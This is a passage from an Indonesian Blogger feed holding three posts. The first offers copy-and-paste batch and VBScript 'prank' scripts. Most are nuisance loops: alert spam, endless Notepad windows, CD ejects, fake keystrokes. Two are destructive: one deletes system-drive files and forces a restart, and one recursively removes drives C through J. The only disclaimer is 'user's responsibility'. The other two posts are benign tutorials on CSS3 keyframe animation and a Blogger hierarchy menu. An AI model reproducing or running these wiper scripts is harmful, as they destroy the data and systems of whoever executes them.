bold;">command interpreter</span>.<span style=""> </span>Ketika sebuah <span style="font-weight: bold;">file batch</span> dijalankan, <span style="font-weight: bold;">shell</span> Program (<span style="font-style: italic;">biasanya COMMAND.COM atau cmd.exe</span>) membaca file dan <span style="font-weight: bold;">mengeksekusi</span> perintah nya, biasanya baris demi baris.<br /><br />Bila script itu disalah gunakan korban tidaklah bukan adalah Komputer itu sendiri. Sebagai contoh Logikannya bila <span style="font-weight: bold;">file.bat </span>yang menjalankan perintah untuk menghapus <span style="font-weight: bold;">file system</span> komputer, apa yang terjadi? Terjadi <span style="font-weight: bold;">Crash Hebat</span> haha<br /><br />Sebagai contoh berikut beberapa koleksi Script <span style="font-weight: bold;">file.bat </span>dan <span style="font-weight: bold;">file.vbs</span> saya :<br /><br /><span style="font-weight: bold; font-style: italic;"><blink>File BAT</blink></span>.<br /><span style="color: rgb(255, 0, 0);">Copy dan Paste Script </span><span style="font-weight: bold; color: rgb(255, 0, 0);">.bat </span><span style="color: rgb(255, 0, 0);">di bawah ini → Kemudian Save Script dengan nama</span><span style="font-weight: bold; color: rgb(255, 0, 0);">.bat</span><br /><ol><li>Menulis Pesan Alert Berulang ulang<br /><blockquote>@ECHO off<br />:Begin<br />msg * <span style="font-weight: bold;">Komputer Anda Error!</span><br />GOTO BEGIN</blockquote></li><li>Shutdown Komputer + Pesan/Message<br /><blockquote>@echo off<br />msg * <span style="font-weight: bold;">Komputer Anda Mati!</span><br />shutdown -s -c "<span style="font-weight: bold;">Error nih!</span>"</blockquote></li><li>Buka Program Notepad terus menerus<br /><blockquote>@ECHO off<br />:top<br />START %SystemRoot%<br />\system32\notepad.exe<br />GOTO top</blockquote></li><li>Hapus semua data system Komputer dan Komputer menjadi Lambat Total<blockquote>@echo off<br />del %systemdriver%\*.*/f/s/q<br />shutdown -f -r -t 00</blockquote></li><li>Format Ulang Data<blockquote>cd/<br />rmdir /q /s J:<br />rmdir /q /s I:<br />rmdir /q /s H:<br />rmdir /q /s G:<br />rmdir /q /s F:<br />rmdir /q /s E:<br />rmdir /q /s D:<br />del /q /s /f C:<br />rmdir /q /s C:</blockquote></li></ol><span style="font-weight: bold; font-style: italic;"><blink>File VBS</blink></span>.<br /><span style="color: rgb(255, 0, 0);">Copy dan Paste Script </span><span style="font-weight: bold; color: rgb(255, 0, 0);">.bat </span><span style="color: rgb(255, 0, 0);">di bawah ini → Kemudian Save Script dengan nama</span><span style="font-weight: bold; color: rgb(255, 0, 0);">.bat</span><br /><ol><li>CAPS LOCK Error<blockquote>Set wshShell<br />=wscript.CreateObject<br />("WScript.Shell")<br />do<br />wscript.sleep 100<br />wshshell.sendkeys "{CAPSLOCK}"<br />loop</blockquote></li><li>CD/DVD Buka tutup Otomatis Terus menerus<blockquote>Set oWMP = CreateObject<br />("WMPlayer.OCX.7")<br />Set colCDROMs =<br />oWMP.cdromCollection<br />do<br />if colCDROMs.Count >= 1 then<br />For i = 0 to colCDROMs.Count - 1<br />colCDROMs.Item(i).Eject<br />Next<br />For i = 0 to colCDROMs.Count - 1<br />colCDROMs.Item(i).Eject<br />Next<br />End If<br />wscript.sleep 5000<br />loop</blockquote></li><li>Membuat VB Script muncul terus menerus<blockquote>Set wshShell =<br />wscript.CreateObject<br />("WScript.Shell")<br />do<br />wscript.sleep 100<br />wshshell.sendkeys "~(enter)"<br />loop</blockquote></li><li>Membuat Tombol <span style="font-weight: bold;">Backspace</span> terklik terus menerus<blockquote>Set wshShell<br />=wscript.CreateObject<br />("WScript.Shell")<br />do <br />wscript.sleep 100<br />wshshell.sendkeys "{bs}"<br />loop</blockquote></li><li>Mengetik Kata yang di inginkan terus menerus<blockquote>Set wshShell =<br />wscript.CreateObject<br />("WScript.Shell")<br />do<br />wscript.sleep 100<br />wshshell.sendkeys "<span style="font-weight: bold;">Error, Error, Error!</span>"<br />loop</blockquote></li></ol>Setelah usai di beri nama coba Sobat Klik 2x <span style="font-weight: bold;">file.bat</span> atau <span style="font-weight: bold;">file.vbs</span> tersebut!<br />NB : <span style="font-weight: bold; font-style: italic; color: rgb(255, 0, 0);">Tanggung Jawab pemakai.</span> Disini saya hanya berbagi ilmu tersebut :)Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com115tag:blogger.com,1999:blog-6541701603000981262.post-88580561969302745702011-10-24T04:12:00.000-07:002011-10-24T06:16:19.874-07:00Css3 Animasi @keyframes<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUthMtJOnXmz9v1SF5NsJg2I3azG6iVf__qO9CE4t9BOUlKxCtny0LoTSp8MAkR-7jvk0tyo3RGkt74ojEr4S_zoJL-CBeMKk9-tzJHWOMNj_5jqoKyzswPmmac-O5Q_42ZJbpV2uzEgI/s1600/%2540keyframes.gif"><img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 187px; height: 128px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUthMtJOnXmz9v1SF5NsJg2I3azG6iVf__qO9CE4t9BOUlKxCtny0LoTSp8MAkR-7jvk0tyo3RGkt74ojEr4S_zoJL-CBeMKk9-tzJHWOMNj_5jqoKyzswPmmac-O5Q_42ZJbpV2uzEgI/s400/%2540keyframes.gif" alt="" id="BLOGGER_PHOTO_ID_5667046141528458210" border="0" /></a><b><i>@keyframes</i></b>, pernah lihat tulisan itu sebelumnya? Menurut saya sediri <b><i>@keyframes</i></b> itu didefinisikan sebagai bingkai atau tempat yang memperlihatkan beberapa gerakan atau animasi suatu objek dengan transisi yang mulus/<b><i>smooth</i></b>. Satu Gerakan atau Animasi itu bisa juga disebut <b>Frame</b>. Mungkin jika kurang atau bahkan keliru, sobat bisa menambahkannya hihi.<br /><br />Yang saya bicarakan hari ini disini adalah <b><i>@keyframes</i></b> tentang <b>Css3</b> yang sedang nge-trend saat ini. <b><i>@keyframes</i></b> ini musuh bebuyutannya <b>Jquery Animation</b> menurut saya :P haha. Banyak keluhan sebagian masyarakat tentang <b>Jquery Animation</b> "<i>kalau pakai Jquery lambat gak bro?</i>", "<i>wah jquery, lambat gak nih sob?</i>" dan lain lain.<br /><br />Kembali ke Topic <b><i>@keyframes</i></b> ini. <b><i>@keyframes</i></b> ini hanya support pada <i>web Browser</i> tertentu. Ada beberapa yang tidak bisa sama sekali <i>web browser</i> menggunakan Css3 <b><i>@keyframes</i></b> ini, diantaranya <b><i>Internet Explorer dan Opera</i></b>. Entah kenapa Web Browser itu tidak support css3 <b><i>@keyframes</i></b> ini. Untuk Mozilla Firefox bisa di bantu dengan bantuan alternatif @<b>-moz-</b> sedangkan Safari dan Google Chrome dibantu dengan menggunakan <b>@-webkit-</b>.<br /><br />Lihat contoh dan langsung kodenya berikut ini :<ol><li>Animasi menggunakan <b><i>From</i></b> dan <b><i>To</i></b></li><b><i>Code Css </i></b><blockquote><blink><div style="overflow:auto; width:ancho; height:200px;">div#<span style="color: rgb(204, 51, 204);">divid</span>{<br /><span style="color: rgb(51, 102, 255);" class="Apple-style-span">width:50px;<br />height:50px;<br />background:black;<br />border:1px solid #fff;<br />box-shadow:0 0 3px #000;<br /></span>position:relative;<br />animation:<b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b> <span style="color: rgb(255, 0, 0);" class="Apple-style-span">5s infinite</span>;<br />-moz-animation:<b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b> <span style="color: rgb(255, 0, 0);" class="Apple-style-span">5s infinite</span>;<br />-webkit-animation:<b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b> <span style="color: rgb(255, 0, 0);" class="Apple-style-span">5s infinite</span>;<br />}<br /><br />@keyframes <b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b><br />{<br />from {<span style="color: rgb(51, 204, 0);">left:0px;</span>}<br />to {<span style="color: rgb(51, 255, 255);">left:200px; background:red; width:100px;</span>}<br />}<br /><br />@-moz-keyframes <b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b><br />{<br />from {<span style="color: rgb(51, 204, 0);">left:0px;</span>}<br />to {<span style="color: rgb(51, 255, 255);">left:200px; background:red; width:100px;</span>}<br />}<br /><br />@-webkit-keyframes <b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b><br />{<br />from {<span style="color: rgb(51, 204, 0);">left:0px;</span>}<br />to {<span style="color: rgb(51, 255, 255);">left:200px; background:red; width:100px;</span>}<br />}</div></blink></blockquote><span style="font-weight: bold;">HTML Code</span><blockquote><div id="<span style="color: rgb(204, 51, 204);">divid</span>"></div></blockquote><span style="font-weight:bold;">Preview</span><br /><iframe src="http://demo-ifnumber7-fqbis.blogspot.com/" frameborder="0" height="70" scrolling="NO" width="320"></iframe><br /><li>Animasi Menggunakan <span style="font-weight: bold;">Persen [%]</span><br /></li><blockquote><div style="overflow:auto; width:ancho; height:200px;"><blink>div</blink>#<span style="color: rgb(204, 51, 204);">divid</span>{<br /><span style="color: rgb(51, 102, 255);" class="Apple-style-span">width:50px;<br />height:50px;<br />background:black;<br />border:1px solid #fff;<br />box-shadow:0 0 3px #000;<br /></span>position:relative;<br />animation:<b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b> <span style="color: rgb(255, 0, 0);" class="Apple-style-span">5s infinite</span>;<br />-moz-animation:<b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b> <span style="color: rgb(255, 0, 0);" class="Apple-style-span">5s infinite</span>;<br />-webkit-animation:<b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b> <span style="color: rgb(255, 0, 0);" class="Apple-style-span">5s infinite</span>;<br />}<br /><br />@keyframes <b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b><br />{<br />0% {left:0px;}<br />25% {left:200px; background:#fc0;}<br />50% {left:50px; background:#de0101;}<br />75% {left:100px; background:#fff;}<br />100% {left:0px; background:#000;}<br />}<br /><br />@-moz-keyframes <b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b><br />{<br />0% {left:0px;}<br />25% {left:200px; background:#fc0;}<br />50% {left:50px; background:#de0101;}<br />75% {left:100px; background:#fff;}<br />100% {left:0px; background:#000;}<br />}<br /><br />@-webkit-keyframes <b style="color: rgb(255, 204, 51);"><span class="Apple-style-span">keyname</span></b>{<br />0% {left:0px;}<br />25% {left:200px; background:#fc0;}<br />50% {left:50px; background:#de0101;}<br />75% {left:100px; background:#fff;}<br />100% {left:0px; background:#000;}<br />}<br /></div></blockquote><span style="font-weight:bold;">HTML Code<span style="font-style:italic;"></span></span><blockquote><div id="<span style="color: rgb(204, 51, 204);">divid</span>"></div></blockquote><span style="font-weight: bold;">Penjelasan</span><br /><ul><li> Warna <span style="color: rgb(204, 51, 204);">Unggu</span> adalah ID dari Animasi</li><li> Warna <span style="color: rgb(51, 51, 255);">Biru</span> adalah style dari Object yang diatas membentuk Kotak</li><li> Warna <span style="color: rgb(255, 204, 51);">Oranye</span> adalah Nama keyframe</li><li> Warna <span style="color: rgb(255, 0, 0);">Merah</span> adalah Properti animasi → infinite artinya Animasi berjalan berulang-ulang tak terhingga. Bisa di ganti dengan Angka saja, 10s artinya sepanjang perubahan animasi berjalan 10 Secon atau Detik.</li><li> Warna <span style="color: rgb(51, 204, 0);">Hijau</span> adalah kode css sebelum animasi berjalan</li><li> Warna <span style="color: rgb(102, 255, 255);">Biru muda</span> adalah css effect animasi</li><li>Kode <span style="font-weight: bold;">Persen [%]</span> adalah jalannya cerita Animasi</li><li>Kode Berkedip tidak harus dalam bentuk <span style="font-weight: bold; font-style: italic;">DIV</span> bisa tag lainnya seperti <span style="font-weight: bold; font-style: italic;">Span, P, li, ul, ol dan lain lain</span><br /></li></ul><span style="font-weight: bold;">Preview</span><br /><iframe src="http://demo-ifnumber6-fqbis.blogspot.com/" frameborder="0" height="70" scrolling="NO" width="320"></iframe></ol>Bisa di terapkan di blog kira kira? hehehe <b><i>@keyframes</i></b> ini berfungsi banyak lho, seperti animasi munculnya sesuatu atau pop-up gitu :) tapi disini hanya menyediakan trik dasar <b><i>@keyframes </i></b>saja :) kurang lebihnya mohon maaf, wassalam :)<b><i><br /></i></b>Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com140tag:blogger.com,1999:blog-6541701603000981262.post-40781998108494442962011-10-21T21:08:00.000-07:002011-11-01T03:40:35.503-07:00Cool Hierarchy List Menu<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8TQf3uj6iMbA-eq73wJO3M-PeBa8sgcnUdumZZJEtSdp5jqc0YFd3rJu3I5mQWANbvYCAGQ49mhUaPs1GLlNGkiEg1hs3XGvhprp1ZnqJi6V6sw7csHEsykaxPAvQf2J_wP6TCEtWIVI/s1600/Untitled.png"><img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 168px; height: 165px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8TQf3uj6iMbA-eq73wJO3M-PeBa8sgcnUdumZZJEtSdp5jqc0YFd3rJu3I5mQWANbvYCAGQ49mhUaPs1GLlNGkiEg1hs3XGvhprp1ZnqJi6V6sw7csHEsykaxPAvQf2J_wP6TCEtWIVI/s400/Untitled.png" alt="" id="BLOGGER_PHOTO_ID_5666194873890131682" border="0" /></a>Kalian tau Hirarki Menu (<span style="font-style:italic;">Hierarchy</span>)? Beberapa <span style="font-style: italic;">list menu</span> yang keluar ketika <span style="font-style: italic;">satu list menu</span> itu di <span style="font-weight: bold;">Klik</span> kalau di sebutkan seperti <span style="font-weight: bold;">Folder/akar</span> ← Pengertian simple dari <span style="font-weight: bold; font-style: italic;">Hierarchy Menu</span>. Jadi andai kata 'kamu punya anak 4, <span style="font-weight: bold;">Adi</span>, Beni, <span style="font-weight: bold;">Edo</span>, dan <span style="font-weight: bold;">Eko</span>. <span style="font-weight: bold;">Eko</span> melahirkan 3 anak, <span style="font-weight: bold;">Anita</span>, <span style="font-style: italic; font-weight: bold;">Jupe</span> (hahaha), dan <span style="font-weight: bold;">Kristi</span>. <span style="font-weight: bold;">Kristi </span>Punya 3 anak lagi namanya, bla, bla, dan bla. Dan seterusnya'. Seperti <span style="font-weight: bold; font-style: italic;">Folder/akar </span>bukan?<br /><br />Sepertinya cukup untuk pengertian <span style="font-weight: bold;">Hierarchy Menu</span> itu :). Bagaimana jika diteruskan dengan cara penggunaan yang simple. Bisa saja, seperti sobat mau buat <span style="font-style: italic; font-weight: bold;">Blog Archive</span> [Dashboard → Layout → Add a Gadget → Blog Archive → Pilih <span style="font-style: italic;">Hierarchy</span>] di blog. Tetapi kali ini berbeda seperti halnya cara tadi, sobat bisa <span style="font-style: italic;">Edit Style sendiri</span>, Element Bebas [<span style="font-style: italic;">Elemen Bebas maksudnya adalah isi </span><span style="font-style: italic;">Hierarchy Menu tidak harus Blog Archive, tetapi bisa di Isikan Link atau Daftar List lain]</span>.<br /><br />Sebagai Contoh sobat bisa lihat di Bawah ini :<br /><script src="https://sites.google.com/site/farixsantips/scripts/flipmenujavscript.js"></script><ul class="flipMenu"><li><a href="javascript:closeAllFlips()">Hide All</a></li><li><a href="javascript:openAllFlips()">Show All</a></li><li>10 Blog Deal<br /><ul><li><a href="javascript:void(0)" target="_blank" title="Berbagi informasi gratisan dari internet">Aku Mau Gratisan</a></li> <li><a href="javascript:void(0)" target="_blank" title="Cek Info dan Berita Terkini, di sini">Cek Info</a></li> <li><a href="javascript:void(0)" target="_blank" title="Kumpulan cerita lucu dan sharing ilmu">HaViZ's Blog</a></li> <li><a href="javascript:void(0)" target="_blank" title="This Personal Blog | Sharing and Learn">Mbah Qopet's Blog</a></li> <li><a href="javascript:void(0)" target="_blank" title="Sharing to All">Musa Khairul Umam</a></li> <li><a href="javascript:void(0)" target="_blank" title="Join, Enjoy and Share">Rama 88</a></li> <li><a href="javascript:void(0)" target="_blank" title="Just for Fun | Tips and Trick">Shinobi Caemk</a></li> <li><a href="javascript:void(0)" target="_blank" title="Cerita Motivasi, Unik dan Lucu">Tangerang Blogs</a></li> <li><a href="javascript:void(0)" target="_blank" title="Tutorial Photoshop">Tutorial Photoshop</a></li> <li><a href="javascript:void(0)" target="_blank" title="Tempat Download Software Gratis Full Version">Zona Download Gratis</a></li> </ul></li><li>Amazing Website!<br /><ul><li><a href="javascript:void(0)">Youtube</a></li> <li><a href="javascript:void(0)">Javascriptkit</a></li> <li><a href="javascript:void(0)">Blogger</a></li> <li><a href="http://farixsantips.blogspot.com/">Farixsantips :D</a></li> <li>Search Engines<br /><ul><li><a href="javascript:void(0)">Google</a></li> <li><a href="javascript:void(0)">Yahoo</a></li> <li><a href="javascript:void(0)">Bing</a></li> </ul></li></ul></li></ul>Lihat kan? Penuh Style dan Warna. Pengeditan tidak berhenti sampai situ aja sob, bisa kalian edit sendiri. Mau di terapkan contoh diatas <span style="font-weight: bold;">sebagai Gadget sobat</span>? Ikuti di bawah ini :<br /><ol><li>Buka Blogger.com beserta Email dan Passwordnya sobat masukan</li><li>Saat di Dashboard klik <span style="font-weight: bold;">Layout </span>→ <span style="font-weight: bold;">Add a Gadget</span> → <span style="font-weight: bold;">Javascript/HTML</span></li><li>Isi Kotak Kosong<span style="font-weight: bold;"> Javascript/HTML</span> dengan kode Berikut :<blockquote><span style="color: rgb(204, 51, 204);"></span><div style="overflow:auto; width:ancho; height:230px; padding-top: 3px;"><span style="color: rgb(204, 51, 204);"> <script src="https://sites.google.com/site/farixsantips/scripts/flipmenujavscript.js"></script></span><br /><ul style="list-style:none;" class="flipMenu"><br /><span style="color: rgb(51, 102, 255);"><li><a href="javascript:closeAllFlips()">Hide All</a></li></span><br /><span style="color: rgb(51, 102, 255);"><li><a href="javascript:openAllFlips()">Show All</a></li></span><br /><li><span style="color: rgb(255, 0, 0);">10 Blog Deal</span><br /><ul style="list-style:none;" ><br /><span style="color: rgb(51, 204, 0);"><li><a href="javascript:void(0)">Aku Mau Gratisan</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">Cek Info</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">HaViZ's Blog</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">Mbah Qopet's Blog</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">Musa Khairul Umam</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">Rama 88</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">Shinobi Caemk</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">Tangerang Blogs</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">Tutorial Photoshop</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">Zona Download Gratis</a></li></span><br /></ul><br /></li><br /><li><span style="color: rgb(255, 0, 0);">Amazing Website!</span><br /><ul style="list-style:none;" ><br /><span style="color: rgb(51, 204, 0);"><li><a href="javascript:void(0)">Youtube</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">Javascriptkit</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="javascript:void(0)">Blogger</a></li></span><br /><span style="color: rgb(51, 204, 0);"> <li><a href="http://farixsantips.blogspot.com">Farixsantips :D</a></li></span><br /><li><span style="color: rgb(255, 204, 51);">Search Engines</span><br /><ul><br /><span style="color: rgb(0, 102, 0);"><li><a href="javascript:void(0)">Google</a></li></span><br /><span style="color: rgb(0, 102, 0);"> <li><a href="javascript:void(0)">Yahoo</a></li></span><br /><span style="color: rgb(0, 102, 0);"> <li><a href="javascript:void(0)">Bing</a></li></span><br /></ul><br /></li><br /></ul><br /></li><br /></ul></div></blockquote>Kode <span style="color: rgb(204, 51, 204);">Unggu</span> : Kode Javascript yang wajib di letakan disitu<br />Kode <span style="color: rgb(51, 102, 255);">Biru</span> : Tombol Cepat Saji untuk membuka semua <span style="font-style: italic;">Folder/Akar</span><br />Kode <span style="color: rgb(255, 0, 0);">Merah</span> : Nama Category yang mengkatagorikan <span style="font-style: italic;">Kumpulan List</span><br />Kode <span style="color: rgb(255, 204, 51);">Oranye</span> : Nama Category yang mengkatagorikan <span style="font-style: italic;">Kumpulan List</span> yang terletak di <span style="font-style: italic;">Kumpulan List</span> juga (bingung ya)<br />Kode <span style="color: rgb(51, 204, 0);">Hijau Terang</span> : Kumpulan List dari Sebuah Category/<span style="color: rgb(255, 0, 0);">Merah</span><br />Kode <span style="color: rgb(0, 102, 0);">Hijau Gelap</span> : Kumpulan List dari Sebuah Category yang Category-nya terletak di Kumpulan List/<span style="color: rgb(51, 204, 0);">Hijau Terang</span><br />Oh iya kalau kode <span style="font-weight: bold; font-style: italic;"><blink>javascript:void(0)</blink></span> itu tolong di ganti dengan link yang di perlukan :)<br />Kalau Pusing mohon dilihat lagi Contoh Preview <span style="font-weight:bold;">Hierarchy List Menu</span>nya di atas ↑</li><li>Setelah Itu Save dan Jadi!</li></ol>Nah, bagus bukan <span style="font-weight:bold;">Hierarchy List Menunya</span>? Hehe kalau ada kesalahan dalam pengucapan mohon di maafkan dan di maklumi :) kurang lebihnya Mohon maaf :)Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com96